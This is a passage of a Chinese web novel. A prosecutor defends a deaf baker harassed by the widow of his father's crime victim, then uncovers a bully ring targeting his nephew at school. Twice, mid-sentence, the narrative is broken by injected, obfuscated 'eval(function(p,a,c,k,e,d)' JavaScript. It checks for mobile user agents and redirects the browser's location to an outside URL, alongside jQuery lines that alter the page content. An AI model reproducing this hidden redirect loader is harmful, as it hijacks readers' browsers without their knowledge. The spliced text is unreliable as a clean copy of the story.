“嗯?沈哥你要下车啊?” “对,我朋友的店就在这附近,我去找他吃个午饭,你自己开车回去吧。我一会打车回去。” “成。” 下车后,沈灵均给戚玉衡发了条微信,问他有没有时间中午一块吃饭,但戚玉衡没回复他。沈灵均也没再发消息催他,慢慢往星星烘焙的方向走。就在沈灵均已经能看到星星烘焙招牌的时候,他看见一个女人从星星烘焙冲了出来。 只见她一屁股坐到人行道中间,大哭着:“我的命苦啊,我的命太苦了!没天理啊!老天无眼啊!” 虽说星星烘焙附近并没有什么大型商业区,来往的人流比不得容州核心商圈稠密,但这会人行道上也是人来人往,这女人这么一哭,当即就有好几个路人停住了脚步打算看热闹。 沈灵均又上前几步,看清了女人的容貌——她大约五六十岁,脸上带着很明显的烧伤瘢痕,她没有眉毛也没有上唇,乍一看之下,面容古怪的有些可怖。女人一边哭一边用手指着星星烘焙:“你们知道这家店是谁开的吗?你们知道吗?” 女人的神色隐隐有些癫狂:“你们知道5.08大案吗?你们知不知道?一伙王八蛋抢走了我们厂长的钱,还一把火烧了我们的厂子!我们厂死了十四个人!其中就有我老公!”女人用力用手抹着自己的脸:“还把我烧成了这个样子!你们看我,吓不吓人?都是他们把我烧成了这个样子的!我原来不长这样的!我年轻的时候,也是村里的一枝花嘞!” “这个店,就是那个团伙领头那个畜生的儿子开的!他爹把我丈夫杀了,把我烧成这个样子,他现在却吃香喝辣、好好地开店当老板了!你们说说,这世上还有天理了吗?” 显然,这是5.08案的苦主来找戚玉衡的麻烦了。沈灵均一时间没有再往前走,他甚至有些想调头回去——他担心东山墓园的事情重演,戚玉衡出来见到他,会觉得难堪。 女人声泪俱下:“这还不够啊!我们一家都被他们家害成这样了,他们还觉得不够啊!这个小畜生居然勾搭我女儿!我和我老公已经被他们家害得这样惨,他还觉得不够,还想害我女儿!” 听到这,沈灵均微微皱起眉。这时,戚玉衡从屋里走了出来。他左脸上顶着一个红彤彤的巴掌印,嘴角也还在流血,显然是刚挨了打。他蹲下身走到女人身边和她说了两句话,因为距离太远,沈灵均不知道他究竟说了什么,但大概率是些安抚情绪的话。 但女人的情绪显然并没有得到安抚,她照着戚玉衡的脸又是一巴掌,哭着道:“你们父子真是阴魂不散、阴魂不散啊!” 沈灵均实在看不下去了,走到女人面前蹲了下来:“大姐,前天下了大雨,天气还又冷又潮的,这地面还有点湿呢,你在这坐着不难受吗?衣服都脏了。咱们有什么事,进屋说行不行啊?” 还没等女人答话,一个三十左右岁、看身形像是怀孕了的年轻女人从店里走了出来,她道:“这位大姐,我已经报警了,你要是不嫌丢人,你就继续在这撒泼!” 烧伤的女人闻言,看了看戚玉衡又看了看那年轻女人,恨恨地道:“你们还好意思报警?!一对狗男女!人贱自有天收!戚玉衡,你有老婆孩子了还勾搭我女儿,你不得好死!” 那年轻女人也不甘示弱:“呸!疯婆子,你说谁呢你!你是不是疯了!你在这乱点什么鸳鸯谱!” 烧伤的女人却对她的话充耳不闻,破口骂道:“说你呢臭婊子!臭婊子!你敢和这样脏的家庭结亲,你就是个婊子!你生下来的孩子也不会是什么好东西,男盗女娼!一定会是个短命鬼,一定也会被冤魂缠一辈子!” 沈灵均提高声音道:“好了大姐!差不多行了!你现在这样是在寻衅滋事你知道吗?” 这时,店门口又传来几声惊呼,刚才还很有气势的年轻女人这会已经捂着肚子蹲下了身。 一时间,星星烘焙门口这四五平米的空间乱成了一锅粥。 好在民警很快就到了。在两位民警的劝导下,周边围观的人很快就散了,过了一会,救护车也到了,那个怀孕的年轻女人在店里一个女店员的陪同下上了车。 随后,民警问道:“到底是怎么回事?” 戚玉衡道:“不好意思警官,我听不见,你能不能把话写下来,或者打在手机上?” 沈灵均一愣,目光落在戚玉衡的左耳上——那里空空如也。 民警一时也愣住了:“啊?那、那行,我给你打在手机上……” 那烧伤的女人则一边抹眼泪一边重复着自己刚才的话。 这时,戚玉衡店里的另一名女员工站了出来,道:“警官,我来说吧。” “……行,你说。” “半个多小时前吧,她,”她指向那个烧伤的女人:“冲进我们店里,让我们戚店长出来,我们店长出来了,她劈头就给我们店长一巴掌。你看看我们店长那脸,就是她打的。我们店里有监控的,你们可以查。” “我……”说到这,她顿了一下:“我不知道她和我们店长之前有什么恩怨,但哪有一句话不说、直接打人的呀。然后我们劝她好好说话,她也不肯,就是哭,就是闹,说我们店长勾搭她女儿。但我们店长说这是没影的事!” “然后她就出去闹了,还骂我们怀孕的牛店长一个孕妇,你们也看到了,把人气进医院了。” 民警点了点头,掏出手机打了两行字,随后将手机拿给戚玉衡看。尽管知道戚玉衡听不到,但那民警还是下意识地道:“我看这情况,主要是你和那位大姐两个人之间有点恩怨,你和我们去一趟派出所吧。我们再把这大姐女儿叫来,调解一下。” “好的。” 沈灵均见状,在手机上打了字,递到戚玉衡眼前:“我陪你去,好吗?” 戚玉衡点了点头。 估计是怕那个大姐再打人,民警让她坐在了副驾驶的位置。沈灵均、戚玉衡和另一位民警一块挤在后座。 警车发动几分钟后,沈灵均接到了戚玉衡的微信: 【戚玉衡:不好意思,我刚才没看到。饭吃不成了,真对不起[流泪]】 【Shen:没关系。这个大姐是你爸那个案子的被害人?她精神状况是不是有些不太好?】 【戚玉衡:嗯。出事之后,她的精神状态就一直不算稳定。但是她今天来,说我勾搭她女儿,这真的是无稽之谈!!!我和她女儿已经快一年没见过面了,平时也没有联系。我不知道她为什么会这么说。】 【Shen:中间可能有什么误会。你助听器呢?】 【戚玉衡:[流泪][流泪]刚才人多的时候,它掉在地上,让人给踩碎了。】 【Shen:那怎么办啊?能修吗?】 【戚玉衡:我不知道。但是看外表,它裂开的很严重,可能很难修好了。】 【Shen:你现在一点也听不到吗?】 【戚玉衡:嗯[皱眉]】 【Shen:以前摘下助听器也是这样吗?你一会也去医院检查一下吧,我看她打得是你左半边脸,会不会伤到你什么地方了啊?我陪你去。】 【戚玉衡:不用的!就是皮外伤。】 两人打字聊天间,派出所到了。在调解室等了差不多半小时后,那位烧伤的大姐——邓淑丽的女儿到了。 邓淑丽的女儿孟思佳大约二十六七岁,一头短发,身穿一身格纹西装套装,打扮得很利落。她一进门,便开口向戚玉衡道歉:“对不起,我妈又去你那闹了。给你添麻烦了,我会赔给你医疗费的。” 主持调解的民警道:“那个……这位先生现在听不见,他助听器让你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818939|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母亲一巴掌给打掉了,掉在地上后,不知道被谁踩坏了。” 孟思佳愣了愣,随后掏出手机:“那我给他发微信。” 民警又道:“诶,孟小姐,刚才我们了解了一下情况,这个戚先生说他不需要任何赔偿,就是想让这个邓女士保证,不再去他们店里闹。因为这个店也不是他一个人的,这个邓女士刚才跟人家另一个店长,一个孕妇吵架,把人家都给气进医院了。” 孟思佳眉头紧锁,坐到邓淑丽身边:“妈,你这是为什么?我不是跟你说过了,不要再去打扰人家的生活了吗?” 邓淑丽撇了撇嘴,没有立刻说话。 民警清了一下嗓子,说:“这个……孟小姐啊,你母亲刚才一直说,说戚先生……勾搭你,所以她才会找上戚先生的门。” 孟思佳目瞪口呆:“妈?!你在说什么呢?我和戚先生很久都没见过面了!我们之间什么都没有!你为什么要这么说!” 邓淑丽这时猛地拍桌而起:“你别以为我不知道!你昨天和你那个同学,叫什么什么琳的那个,你们两个聊天,你亲口说过,你喜欢这个小畜生,我说得对不对!” 孟思佳也站了起来,她先是看了一眼一脸茫然的戚玉衡,脸、眼眶立刻就涨红了,她身体小幅度地哆嗦着:“你、你……你偷看我手机?而且那都是多少年前的事了……你怎么能偷看我手机呢!” “我偷看你手机?你都是我生的,我有什么看不了?还是你自己也觉得这见不得人?” 戚玉衡现在完全是一个聋人,根本不知道她们两个在说什么,有些无措地看着发火的孟思佳。 邓淑丽复又坐下来,朝着民警哭道:“警官,我命苦、我命苦啊,我丈夫让这个小畜生的爹领着人杀了,我自己也成了这个样子,现在他还勾引我女儿,他是非要逼死我不可啊!” 民警伸出手,摆出了一个制止的手势,道:“大姐,一码归一码啊。你这个事情,听你、你女儿的意思,人家这个戚先生根本没和你女儿有什么啊?而且退一万步、退一万步,就算人二位真有什么,自由恋爱,你也不能打人啊!这样,人家戚先生不要你赔偿,你就写个保证书,以后不要再去他店里骚扰人家了,行不行?” 邓淑丽一开始并不愿意签,最后孟思佳发了一通火,逼着她签了。 解决完这件事,时间已经接近下午一点。沈灵均便和戚玉衡在派出所附近找了家面馆吃饭。 点好餐后,沈灵均问道: 【Shen:你那个怀了孕的朋友,没事吧?】 戚玉衡摇摇头:“没事,医生给她开了一点安胎的药。得亏她没事,不然我的罪过就大了。” 沈灵均犹豫了一会,问: 【Shen:这样的事,多吗?】 戚玉衡抬起头,对他露出了一个笑,摇了摇头。 他现在看起来不那么漂亮了:一半脸依旧质如白玉,另外半边脸却又红又肿,上面还有两道指甲造成的划伤。他左边的唇角破了,一些没擦干净的血已经在唇角边凝成了血痂。不漂亮,却惹人怜。 沈灵均回想起唐绍荣的话:戚玉衡的耳朵是被被害人家属打聋的、戚玉衡一共欠了八百多万债务、戚玉衡的成绩很好却没能高考、戚玉衡和乔瑜曾经是好朋友…… 他没犯任何错,却要承担这么多的苦果。 沈灵均心里一下子非常难受。他低下头打字道: 【Shen:我刚才听孟小姐说,除了法院判决需要赔偿的数额,你还额外多给了她们几万块钱。为什么?】 戚玉衡轻声道:“虽然法院当时判了我爸承担邓阿姨的治疗费和叔叔的丧葬费,但是当时我掏不出钱来,一直到三年前才把欠她们的钱全部还上。所以就多给了她们一些钱,算作利息。” 【Shen:你也说了,法院当时判决的是由你父亲来承担赔偿责任。那不是你的责任,你其实没有义务代替你父亲还债的。】 更何况,对你来说,他并不是一个合格的父亲。 戚玉衡点点头:“我明白的,”他似乎是有些不好意思,头微微垂着,“我其实也就是为了让自己心里好受点。不还一些钱,我总感觉良心上过不去。” 沈灵均看着他,忽然觉得自己的心像是被什么东西重重地撞了一下。撞得他的心发颤、发疼。 40.第 40 章 沈灵均短暂地沉默了一会,打字道: 【Shen:你没必要有心理负担的。你爸做的坏事,跟你没关系。他抢的钱,你更是一毛也没用到。】 “我明白的,”戚玉衡依旧低着头,“我就是觉得,受害人都很不容易。大家都是工人,收入都不高,家境都不怎么好。被救出来的时候就已经死去的人先不提,那些受伤的被害人,伤势严重的,往往都面临着天价医药费。治烧伤太贵了。邓阿姨,她治疗的时候,如果手里有钱,可以做面部整形的,但她没有钱,所以恢复之后面部的烧伤也很明显。就算这样,为了保住性命,她们家也欠下了一大笔外债。” “法院虽然最后判了赔偿金,但其实赔偿金的数目并不是很多。伤者,只判赔了医疗费,亡者,只判赔了丧葬费,按照当年的丧葬费标准,一个人就不到四万块。一条人命,也就值四万块。我爸的那几个同伙,要么早就和家人断联了,要么就是光棍一条,要是我也不去赔的话,他们就真的,什么办法也没有了,一分钱也得不到了。” 沈灵均又是好一会没说话。 好久没收到他的消息,戚玉衡抬起头觑了他一眼,慢慢露出一个有些不知所措的笑容。 沈灵均也勉强朝他笑了一下,随后打字道: 【Shen:戚老师读书读得那么好,我本以为你是个聪明人呢。没想到你是个傻子。换做我是你,一定先找个地方躲着,然后去参加高考,高考结束之后立刻就离开这个城市。报一个离容州远远的大学,再也不回这个地方。被害人无辜,我就不无辜了?管他呢。】 戚玉衡摇了摇头:“你才不会呢。无论从哪个层面上论,你对长乐、李爷爷许奶奶都没有扶养义务啊,但你看,你自己还不是尽心尽力地帮他们?” 不一样的。沈灵均想。他不缺钱,他给予李长乐一家的那些帮助,对于他来说真的只是微不足道的东西。但对于戚玉衡来说,选择承担起那一份本不需要他担负的责任,需要他付出大好的青春、放弃触手可及的梦想、自觉踏入生活的泥沼。 傻子。 吃过饭,沈灵均问戚玉衡: 【Shen:你要不要去医院看看?你的脸肿得很厉害。你之前也是摘下助听器就什么也听不到吗?要不要去医院查查耳朵?】 戚玉衡说:“没关系的,脸上的伤我自己回家处理就好了。我现在其实能听到一点,”戚玉衡用拇指抵住食指,“但也就是一点点。正常人说话的声音,我听不到。一直都是这样,应该没什么事,不用去医院的。” 但是沈灵均还是不太放心。他记得唐绍荣跟他说的话——戚玉衡的左耳是被人打聋的,因为迟迟没有去治疗最终丧失了恢复听力的希望。万一这回他也被打伤了呢? 沈灵均还想再劝,但他很快又想到,到了医院肯定少不了要检查,而耳部的检查无非就是内镜、CT、核磁那么几种,都不算便宜。他能把人劝去医院,但他能替人出这笔钱吗?他倒是很愿意,就怕戚玉衡不同意。 正当沈灵均犹豫之际,他的手机响了。他低头一看,发现来电人是李长乐的班主任宋颖。 沈灵均朝戚玉衡示意了一下,随后下意识地正襟危坐,又清了清嗓子,才接起电话:“宋老师?” 宋颖道:“长乐叔叔?你现在有时间吗?能过来学校一趟吗?” 沈灵均心里顿时一紧:“能。是长乐出了什么事吗?” “对,长乐跟其他同学打架了。具体情况,咱们见面谈吧。你来启程楼三楼,教导主任办公室。” 沈灵均连声答应,挂断了电话。他心中又是着急又是疑惑:虽然李长乐在面对他时有些不驯,但是他其实是很内向安分的性格,怎么会突然跟同学打架呢? 沈灵均有些歉意地看了戚玉衡一眼: 【Shen:不好意思啊玉衡,我得先走了。长乐老师给我来电话,说长乐在学校和同学打架了,我得去学校一趟。】 戚玉衡听了立刻道:“什么?那我跟你……” 但他很快就改了口:“你快去吧!我没事的,我一会也直接自己打车回家了,孩子那边要紧。” 沈灵均点点头,给戚玉衡发了条消息: 【Shen:之后有什么需要我帮忙的,你直接跟我说。】 随后,沈灵均便拦了辆车赶往四十七中。推开教导主任办公室的门,沈灵均一眼就看见了李长乐,他正在墙边一个人孤零零地站着。而办公室的长排沙发上坐满了人。其中有一个嘴角微肿的男生,正被明显是他父母的两个中年人夹在中间。这一家三口旁边则坐了位中年女人,她正拉着一个长脸男生的手。一个颧骨上长满了雀斑的男生正坐在长排沙发上的扶手上玩手机。 长排沙发对面的单座沙发上坐着个五十余岁的女人,沈灵均猜,她应该就是李长乐的班主任宋颖。一个看着约么四十多岁的男人坐在办公桌后面的椅子上,大概就是这办公室的主人,教导主任。 一屋子九个人,只有李长乐站着。 李长乐看到沈灵均进门,极快地瞥了他一眼,随后立刻低下头。沈灵均走到他面前:“把头抬起来。” 李长乐还是低着头。 沈灵均扯了李长乐的校服一下,语气有些强硬:“让我看看。” 李长乐这才慢慢抬起头来。 李长乐脸上的伤比屋里另外那三个男孩严重得多,可谓是鼻青脸肿,左眼更是肿得只剩下一条缝,眼球充血,看着有些骇人。 沈灵均立刻皱起了眉。这时,宋颖站起身来:“这位家长,你是长乐叔叔吗?我之前已经带长乐去医务室了,校医说长乐没什么大事。” 沈灵均看向她:“没什么大事?是做了什么检查得出这个结论的?” 还没等宋颖回答,坐在沙发上的那个中年男人站起了身,阴阳怪气地说:“可算是来了,我们都等得不耐烦了。人来了,我们就把这事情好好说道说道。李长乐叔叔,你必须得让你侄子,给我儿子和他两个朋友道歉。” 沈灵均没理他,转头问李长乐:“你为什么要和同学打架?” 李长乐又把头垂下了,不说话。 这个时候,那个肿着嘴角的男生冷笑一声,也站了起来:“谁知道为什么?他突然就冲过来打我,神经病。” 看李长乐一直不说话,沈灵均心中觉得奇怪,却没有催促他,转而对宋颖道:“宋老师,孩子在哪打的架?现在教室、走廊,应该都有监控吧。我能看看监控吗?” 那中年男人表情不耐,指着教导主任办公桌上的电脑:“行,你去看去吧。我们都看过了,这么多双眼睛都看到了,你这好大侄不由分说地打我儿子。” 沈灵均没理他,走到教导主任桌边去看监控。确实如他们几人所说,是李长乐先动手的没错。 几人是在午休的时候打起来的。监控中,那个肿着嘴角的男生在经过李长乐桌子的时候故意歪了歪身子,撞了李长乐的桌子。李长乐抬起头来看了他一眼,随后便自己将桌子重新摆好了。但那个男生并没有走,而是弯下腰来,和李长乐说了几句话。 之后,李长乐突然站起身,揍了这个男生一拳,两个人很快扭打起来。很快,又有两个男生加入了战局,一对一的打架最终演变成三个人对李长乐的群殴。 看完监控,沈灵均看向那个最开始被打的男孩:“长乐打你之前,你跟他说了什么?” 这男孩还没答,他母亲便闪身挡在他身边,尖声道:“你什么意思啊?你侄子先打人的,这是大家有目共睹的,怎么,你还想把责任往我儿子身上推啊?” 沈灵均道:“是,我承认,是我侄子先动的手。但我就是问孩子一句话而已,这位家长,你这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈灵均冷冷道:“没必要。百分之九十九点九的狂犬病病例都是由患狂犬病动物传播至人的,我以为这是人尽皆知的基础常识,”沈灵均在“人”这个字上咬了重音,“没想到这位同学却不知道。” 听了他的话,男孩的脸色登时冷了下来,他母亲则三步并作两步,窜到沈灵均面前,竖起手指道:“你这个人会不会说话?!你侄子打了人还有理了?” 沈灵均轻笑了一声:“那三位同学以多欺少就有理了?我侄子先打了这位同学一拳,这三位同学却围着我侄子打了快一分钟,”沈灵均指了指电脑屏幕:“老师在一点十分十二秒的时候就出现在了教室呵止他们,在此之后,他们依旧围着我侄子打了二十多秒,直到其他同学将他们分开。” “这件事一开始,是我侄子和这位同学的打架,但很快,就演变为这三位同学对我侄子的群殴!我侄子应该为他先动手打人道歉,这三位同学也应该为他们群殴我侄子道歉!” 中年男人吼道:“我去你的吧!我儿子那叫正当防卫!” “正当防卫也是有限度的!” 沈灵均上午去了看守所提讯,身上一直穿的都是检服,胸口也别了检徽。男人早就注意到了他身上的检徽,知道他的身份。这会冷笑一声:“检察官,就你懂法是不是?你这么懂,怎么不好好教教你侄子,打人也犯法呢?” 他妻子紧跟着道:“有爹生没娘养也就算了,连叔叔都不好好教!” 沈灵均闻言,把包往茶几上一扔,往前走了一步:“说什么呢?” “当着自己孩子的面,骂没有父母的孩子‘有爹生没娘养’,这就是你们的教养?这就是你们的言传身教?!” 沈灵均裸身高有一八八,穿鞋之后直奔一米九,比那个中年男人差不多高大半个头。身高高本就天生自带压迫感,沈灵均又是极英气的长相,此刻冷着脸,看上去就给人一种不好接近、不好惹的感觉。两夫妻的气势登时就弱了一截。 这时,一直沉默不语的李长乐突然开口道:“是我先打了刘润年没错,因为我实在忍不下去了。这最近这半年多的时间,他一直在和樊瑞、李天昊霸凌我,他们故意弄脏我的衣服、在课间抛我的课本直到我上课也不还给我、把我堵在厕所打我、在体育课上故意撞翻我……我忍不了了。所以才打了他。” 41.第 41 章 李长乐话音刚落,另一个一直坐在沙发上一言不发的中年女人也站起身来:“你不要胡说!我们家天昊怎么可能霸凌你!” 但沈灵均注意到,在李长乐说完这番话后,长脸男生和雀斑男生——李天昊和樊瑞,两人的脸色就有了些细微的变化,李天昊更是来回摸了两次脖子。沈灵均做了八年多检察官,见过无数妖魔鬼怪,当即就明白,李长乐说的定然是真话。 这时,刘润年的母亲恼羞成怒,直奔着李长乐而去:“你说什么呢?满口谎话!你打了我儿子你还有理了!谁霸凌你!” 沈灵均一把把李长乐拉到自己身后,道:“润年妈妈,你先别急,”沈灵均看向刘润年:“刘润年同学,我家长乐说你和其他两位同学长期霸凌他,你承认吗?” 刘润年冷笑一声:“承认什么?谁霸凌他?我和我兄弟可没做过。” 沈灵均点点头,看向宋颖和教导主任:“老师,咱们学校的监控一般保存多久?” 宋颖道:“一个月。” 沈灵均问李长乐:“你说他们曾经把你堵在厕所里打你,这是什么时候发生的事?在哪个厕所?” 李长乐闷声答道:“最近的一次……就在前天。在三楼东侧的男厕所。” “上次弄脏你衣服、在教室丢你的书,是什么时候的事?” “昨天,他们就在教室丢我的书,大前天,刘润年在教室里,用嘴把果汁喷到了我的衣服上。” 沈灵均转向教导主任:“主任,您都听到了。那我们就先把最近三天高三十班的监控、距离三楼东侧男厕所最近的摄像头的监控调出来吧。毕竟耳听为虚、眼见为实,也不好冤枉了三位同学,是不是啊,润年爸爸、润年妈妈,是不是啊,天昊妈妈?” 李天昊的妈妈第一个响应:“对!就是到时候,”她剜了李长乐一眼,“撒谎的人别不认!” 李天昊低着头在一旁不说话,肢体动作不断,心理素质明显没有依旧一脸高傲不屑的刘润年好。 沈灵均又道:“主任,宋老师,长乐刚才都说了,几位同学不光对他有恶整霸凌,还曾经对他施暴,这已经不是用校园霸凌这几个字能概括的了,这是校园暴力。我觉得,这个事情应该通知学校的学生欺凌治理委员会,让委员会开会处理。” 宋颖听了这话,第一个反对道:“长乐叔叔,你这……没必要吧?” 沈灵均反问道:“怎么没必要?防范、整治校园霸凌,不是学校的责任吗?教育部都发过文的。还是咱们四十七中没成立学生欺凌治理委员会。不会吧?” 宋颖忙说:“不不,有的,成立了的。我就是觉得,没必要,没必要把阵仗闹得这么大。” 说着,宋颖便看向刘润年的父母,想给自己拉两个盟友:“对不对,润年爸爸、润年妈妈,孩子们之间打打闹闹,没必要折腾一遭,还闹到委员会那去。” 刘润年几个人欺负李长乐的事,宋颖并不是完全不知道。最开始的时候,刘润年几个人也就是做些拿李长乐的书、撞他的桌子、弄脏李长乐衣服的恶作剧,李长乐向宋颖告过状,宋颖也批评过刘润年他们几个。但是批评完之后,刘润年他们还是不改。 刘润年长得帅、嘴巴甜、成绩也好,是她的数学课代表,而李长乐性格孤僻、沉默寡言、整个人看上去很阴郁,成绩还差。这两个学生,在宋颖心里本来就有亲疏远近之别。而刘润年几人虽然欺负李长乐,但宋颖观察下来,发现他们也就是做些无伤大雅的恶作剧,渐渐的,她便也不再管这些事了。 李长乐估计是察觉到了她的态度,后来也不再向她告状了。 因此,在发现李长乐和刘润年这个小团体打架的时候,宋颖就对他们几个打架的原因有了推算。她现在心里直发苦:她知道刘润年几个人一直在针对李长乐没错,但是她是真不知道刘润年他们还在校园里打过李长乐!要是知道了,她肯定是会管的! 她现在更是后悔叫家长这件事。之前开家长会,都是李长乐的奶奶代表李长乐来开家长会。一个白发苍苍的老太太坐在教室里,很显眼。宋颖和她聊过几次,她了解到,李长乐父母双亡,现在和爷爷奶奶住在一起,一家人的生活全靠远房叔叔接济。 这次李长乐打架,他非常抗拒叫家长,说奶奶脑梗之后瘫痪了,没法来了。是宋颖坚持要叫家长来,把电话打给了她叔叔。因为李长乐一直不说自己为什么打刘润年,宋颖便觉得这是孩子自尊心强,不愿意让别人知道自己被欺负的事。她心里本来是这么打算的:李长乐的奶奶是个说一口土话的农妇、文盲,衣着朴素,唯唯诺诺,一看就是个穷种地的。这样的人,能有什么了不起的远房亲戚? 更何况,一个远房亲戚,能给他们爷孙俩一口饭吃已经是发善心了,能在李长乐身上花费多少精力?李长乐不说自己打架的原因,但他是先动手的那个,铁板钉钉的没理;可最后伤得厉害的是李长乐,刘润年他们三打一,又有欺负人的前科,实在不“干净”。 宋颖心里便打算着:等到家长来了,她就各打五十大板,和稀泥,让刘润年父母不追究李长乐动手的事,让李长乐叔叔不追究李长乐被打伤的事。 但她没想到,事情的发展却和她想象的根本不一样:刘润年那对溺爱儿子、得理不饶人的父母一个劲地要求李长乐道歉,而李长乐的这个远房叔叔更是个不好惹的主! 带完这届高三,宋颖就要退休了,在她退休之前的这个档口,她非常不想横生枝节,只想把这件事大事化小、小事化了。 可刘润年的父母却不愿意下这个台阶,刘润年的母亲怒气冲冲地说道:“宋老师,我们不怕折腾!清者自清!” 清者自清你个头啊!宋颖心里叫苦,又把目光移向刘润年:毕竟他清不清,他自己最清楚!但刘润年居然还是那副无所谓的样子:“调监控呗。反正我们哥几个没做什么。” 宋颖一口气噎在了喉咙里。 沈灵均笑了:“你看,宋老师,所有人都同意了,”沈灵均又看向没有家长的樊瑞:“当然,樊瑞的家长不在,但我们可以等他来。” 樊瑞梗着脖子:“他们俩有事来不了了,查监控就查监控,反正、反正我什么都没做。” 说到这,樊瑞顿了顿:“我最多就跟李长乐开了几个玩笑。” 沈灵均冷眼扫过这三个男孩,心里已经有了数:这是个存在着明确领导者的小团体。而除去领头的那个,余下的两个心理素质都不怎么样,已经露了怯。即便没有监控证据,让成年人问几句话,他们胆气估计应该也很快就会散干净,什么都会说的。 宋颖见状,只得看向教导主任聂卫国,希望他能站在自己这边。毕竟,如果刘润年几人校园暴力的事一旦被查明属实,她和聂卫国这个高三级教导主任都得吃挂落、做检讨。 但聂卫国道:“既然大家都同意,那我们就去找校长吧。” 宋颖这下是真的无计可施了,只能在心里暗自祈祷,期望刘润年几个人不要真的被抓住什么施暴的证据。 到了校长室,校长高志超的想法倒是和宋颖的想法不谋而合。一直以来,四十七中那个“学生欺凌治理委员会”就是个为了应付教育局检查的空架子,空有一纸章程,实际上自成立以来一次都没有运作过。在高志超的任期内,四十七中不是没有发生过校园霸凌,但学生家长一般都不知道学校内部有这么一个专管校园霸凌事件的委员会,从来没有家长要求诉诸委员会流程来解决校园霸凌的问题。 而所谓的校园霸凌,处理着处理着,往往最终还是会变为学生们的“私人恩怨”。 高志超听完事情的原委,笑着道:“嘿,长乐叔叔,何必搞那么麻烦呢?咱们该看监控就看监控,该调查就调查,谁犯了错,我们就按照校规处罚谁。非得弄到委员会上去吗?流程怪麻烦的,但结果却是一样的。” “当然有必要,在很多事情上,流程、程序,都是非常重要的事。流程、程序要是没有用,一个犯了死罪的犯人,左右都是个死,为什么还要设置审判这么个流程呢,直接给他一枪就行了,反正结果都是一样的。” 沈灵均笑得面如春风:“有委员会这么一个流程定性,事情的结果就具备公信力,我也相信,学校的流程肯定都是公开透明的,不会冤枉任何一个孩子, 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高志超被他突然的变脸惊到了,连忙道:“好好好,长乐叔叔你先别激动,有话好好说嘛……那我们就组织委员会!但是长乐叔叔,我们委员会好几十人呢,有很多教职工代表现在有课,一些校外的专家也不是说来就能来的,说组织,那也不是现在就能组织起来的。” 看高志超改变了态度,沈灵均也恢复到了之前和风细雨的样子:“我明白。那我们今天就简单地看一下监控,探讨一下调查思路,可以吗?” “……可以。” 高三十班的教室监控证实了李长乐说的话,在他所说的时间段内,刘润年三个人来回抛掷他的书耍弄他、刘润年用嘴把果汁喷到他的校服上。看完监控,李天昊妈妈的脸色就变得有点不好看了。 沈灵均同高志超道:“高校长,听说咱们学校教室的监控可以保存一个月,按照长乐的说法,这种恶整霸凌发生的频率很高,我们倒查一个月的监控,没问题吧。” “……没问题。” 刘母这时道:“看视频,这就是同学之间的玩笑啊。就这,就说我儿子霸凌?”她瞥了一眼李长乐:“真够小心眼的,一点肚量都没有。” 沈灵均扭头看了她一眼,忽然伸出手,一把抢过她手里的手包,高举过头顶。 刘母下意识地伸手去拿,但她个头并不高,穿着中跟高跟鞋也不过一米六,怎么可能碰得到沈灵均的手?试了两次后,刘母怒道:“你这是什么意思?这是在校长办公室!你要抢我的包?” 沈灵均把包抛还给她:“开个玩笑。好笑吗?” “你你你……”刘母一时答也不是、不答也不是:“这是什么人啊!这还是检察官呢!” 沈灵均懒得再理她,继续和校长说道:“我们看三楼东侧男厕所门口的那个监控吧。” 监控显示,李长乐与刘润年三个人并不是同时进入厕所的,在李长乐进入厕所一分钟之后,刘润年三个人才进入男厕,四分钟后,刘润年三人先行离开。 刘父道:“这个监控能证明什么啊?就不能是李长乐先进去上厕所,我儿子他们后上厕所?他说我儿子打他,我儿子就打他了?” “这个时间段又不是只有他们四个人在卫生间,”沈灵均指着电脑屏幕,“麻烦主任你往前倒一下。” “学校东侧西侧各有两个卫生间,能来东侧的男厕上厕所的孩子,一般都是东侧这几个班的学生,”沈灵均指着监控中的一个男生,“这个男生在这个时间段进过男厕,他穿了一双很有特点的红色AJ,应该很好找。等一会下课,我们可以把他叫过来问问。” “除此之外,我们也应该找高三十班的同学谈谈。这几位同学针对我侄子应该也不是一天两天的事了,这些事不可能瞒过班上所有人。我们总有办法拼凑出事实的真相的。但是为了防止同学们遭到打击报复,校长,我觉得,和同学们的谈话都应该秘密进行。” 沈灵均的视线从刘润年脸上扫过——他这会看上去没有刚才那么盛气凌人了,眼神在空中乱飘着,像是有些慌了。 沈灵均冷冷道:“若想人不知,除非己莫为。” 42.第 42 章 下午四点多,看着同学们一个接一个地迈入校长室,在母亲焦虑而担忧的目光中,李天昊最先扛不住心理压力,主动承认了自己的错误,坦言他和刘润年、樊瑞三人确实对李长乐进行了校园霸凌和校园暴力。 随后,樊瑞也承认了。刘润年倒是依旧嘴硬,但事情到了这个地步,已经可以说是真相大白了。高校长拍着胸脯向沈灵均保证,会给沈灵均一个满意的答复,对这三个学生的处理也一定会走流程,按规章办事。 沈灵均这才放下些心,他没管哭天喊地的刘母,带着李长乐离开了校长室。出了教学楼,李长乐觑着沈灵均的脸色,小声道:“……对不起。” 沈灵均停下脚步,回头看向他:“为什么道歉?” 李长乐揪着校服的衣角:“……我惹了麻烦,害你来学校收拾烂摊子。” 沈灵均看了他好一会,叹了口气:“说实话,我刚才确实有些生气。” 李长乐闻言,低下了头。 “看着我,长乐,”沈灵均把手搭在李长乐肩膀上:“我生气的不是你‘惹麻烦’。你也没惹麻烦。你只是反抗了。你反抗的太晚了!我生气的是……按你说的,他们已经这么欺负你大半年了,你却一直没有和我说。学校应该也做过一些反校园霸凌的宣传吧。遇到这种事,先告诉家长,这个道理你难道不明白吗?” 沈灵均顿了一下:“我知道,你和我之间有隔阂。但是这种事情,你应该第一时间和我说的。你早告诉我,你根本不会被欺负这么久。” 李长乐嗫喏着道:“……我就是,不想给你惹麻烦。” 